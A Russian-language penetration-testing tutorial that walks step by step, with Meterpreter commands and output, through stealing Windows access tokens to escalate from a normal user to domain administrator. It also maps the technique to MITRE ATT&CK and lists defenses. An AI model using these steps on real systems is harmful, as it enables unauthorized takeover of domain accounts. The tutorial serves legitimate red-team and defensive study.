Вы точно используете Metasploit на максимум?
Многие знают Metasploit, но почти никто не использует его скрытые возможности по максимуму. В этой статье я покажу, как один почти забытый модуль позволяет получить права администратора без ввода пароля — просто используя то, что уже есть в системе. Даже если вы считаете себя профи — скорее всего, вы упускали этот приём.
Вступление
Всем доброго времени! Сегодня поговорим об очень полезной постэксплуатационной технике в Metasploit — использовании функционала Incognito (который теперь является частью расширенияpriv
), а именно команд steal_token
и impersonate_token
. Они позволяют захватывать токены доступа (access tokens) залогиненных пользователей и повышать свои привилегии на машине.Цель — перейти от сессии обычного пользователя к правам локального или даже доменного администратора. Данный подход всё ещё абсолютно актуален и постоянно используется в современных red-team сценариях, являясь одной из многих техник повышения привилегий. Подробнее о других методах можно прочитать в общем обзоре техник в Windows.
Где это работает и что нужно знать
- [*Целевая ОС: Windows 10/11 или Server 2016/2019/2022 (лучше всего в доменной среде для демонстрации всей мощи).
- Пентест-платформа: Kali 2024+ и Metasploit Framework 6.x+.
- Токен — это цифровой ключ-удостоверение, которое система выдает пользователю после успешного входа. Этот ключ используется для доступа к ресурсам вместо постоянного ввода пароля. Наша задача — "одолжить" ключ у более привилегированного пользователя.
Практика: от простого юзера до Администратора
Самое интересное. Наш сценарий — повышение привилегий, а не получениеSYSTEM
сразу.1. Получаем начальную сессию
Представим, что мы получили начальный доступ к машине. В реальной атаке это мог бы быть результат фишинга или, что чаще встречается в корпоративных сетях, эксплуатации уязвимости на веб-сервере. Кстати, именно профессиональному поиску таких уязвимостей и посвящен курс WASA от экспертов Codeby. Для нашего же примера будем считать, что сессия уже у нас в руках.
Код:
# Успешная эксплуатация, сессия открыта
meterpreter > getuid
Server username: CONTOSO\B.Smith
B.Smith
. Нам нужно больше власти.2. Загрузка нужных расширений
Для работы с токенами нам понадобится расширение
priv
.
Код:
meterpreter > load priv
Loading extension priv...Success.
priv
включает в себя функционал старого доброго incognito
и другие полезные команды для эскалации.3. Ищем "золотой" токен
Давайте посмотрим, какие токены доступны нам из текущего контекста.
Код:
meterpreter > list_tokens -u
[*] Enumerating tokens for current user
[*] Found 1 tokens
CONTOSO\B.Smith (Impersonation)
SYSTEM
.Сначала найдем подходящий процесс:
Код:
meterpreter > ps
# ... ищем в списке стабильный процесс с пользователем NT AUTHORITY\SYSTEM, например, spoolsv.exe
2344 488 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
Код:
meterpreter > migrate 2344
[*] Migrating from 4120 to 2344...
[*] Migration completed successfully.
B.Smith
, но наш Meterpreter теперь работает внутри процесса SYSTEM
. Попробуем снова запросить список токенов.
Код:
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
CONTOSO\DomainAdmin
CONTOSO\HelpDesk
Impersonation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
CONTOSO\B.Smith
DomainAdmin
). Это наш билет к успеху.4. Захват и использование токена
Теперь, когда мы видим токен администратора, мы можем его присвоить.
Код:
meterpreter > impersonate_token "CONTOSO\\DomainAdmin"
[*] Successfully impersonated user CONTOSO\DomainAdmin
\\
— это обязательный синтаксис.Проверим, кто мы теперь:
Код:
meterpreter > getuid
Server username: CONTOSO\DomainAdmin
Код:
meterpreter > shell
Process 5540 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19045.4412]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
contoso\domainadmin
Теория и современность
- MITRE ATT&CK: Наша атака полностью соответствует технике T1134.001: Access Token Manipulation: Token Impersonation/Theft.
- Токены олицетворения (Impersonation): Позволяют выполнять действия от имени другого пользователя в рамках локальной машины.
- Токены делегирования (Delegation): Гораздо опаснее. Позволяют процессу проходить аутентификацию на удалённых ресурсах от имени пользователя. Захватив такой токен, можно перемещаться по сети (lateral movement). Этот метод является частью большого класса атак на учетные данные в домене, наряду с атаками на Kerberos, которые также нацелены на компрометацию привилегированных сессий.
- Современные защиты: Атака известна, и Microsoft активно внедряет средства противодействия: Credential Guard, WDAC, LSA Protection, а EDR-системы внимательно следят за подозрительными манипуляциями с токенами.
Защита
- Принцип минимальных привилегий: Не используйте учетные записи доменных (DA) и локальных администраторов для повседневной работы на рабочих станциях.
- Внедряйте технологии защиты: Активируйте Credential Guard, LSA Protection. О том, как именно работает защита процесса LSA в режиме RunAsPPL, стоит почитать отдельно, чтобы понимать механику противодействия. Также не забывайте про AppLocker/WDAC для контроля запускаемых приложений.
- Ограничивайте активные сеансы: Настраивайте автоматический выход из сеансов (особенно RDP) по неактивности.
- Регулярные перезагрузки: Все токены хранятся в памяти и удаляются после перезагрузки. Настроенная ночная перезагрузка рабочих станций — простая и эффективная мера.
- Мониторинг: Используйте EDR-решения для отслеживания аномальных вызовов API (например,
DuplicateTokenEx
,ImpersonateLoggedOnUser
) и миграции процессов.
Заключение
Тактика перехвата токенов остается мощным инструментом в арсенале пентестера. Она наглядно демонстрирует, почему оставлять активные сеансы с высокими привилегиями на рабочих станциях — крайне плохая идея. Несмотря на появление новых защит, в неправильно настроенных средах этот метод будет работать еще очень долго.Тезисы:
- На Windows 10/11 в доменной среде атака по-прежнему эффективна.
- Ключ к успеху — найти и мигрировать в процесс с высокими правами, чтобы увидеть все токены.
- Защита строится на гигиене привилегированных учетных записей и современных средствах защиты Windows.
FAQ
Q: Incognito всё ещё существует в Msf6?A: Да, его основной функционал полностью интегрирован в расширение
priv
. Просто загрузите его командой load priv
.Q: Какие токены использовать для получения SYSTEM?
A: Чтобы стать
SYSTEM
, вам нужно найти процесс, уже запущенный от имени NT AUTHORITY\SYSTEM
(например, services.exe
), и присвоить его токен с помощью impersonate_token "NT AUTHORITY\SYSTEM"
. Тип токена здесь менее важен, чем его владелец.Q: Как защититься от этой атаки в корпоративной среде?
A: Credential Guard, строгий контроль за использованием админских учетных записей, регулярные перезагрузки станций и качественный EDR-мониторинг манипуляций с процессами и токенами.
Какие ещё нестандартные модули Metasploit вы используете в постэксплуатации? Делитесь своими фишками и кейсами — давайте соберём топ реально рабочих приёмов, которые не описаны в каждом втором гиде.
Последнее редактирование: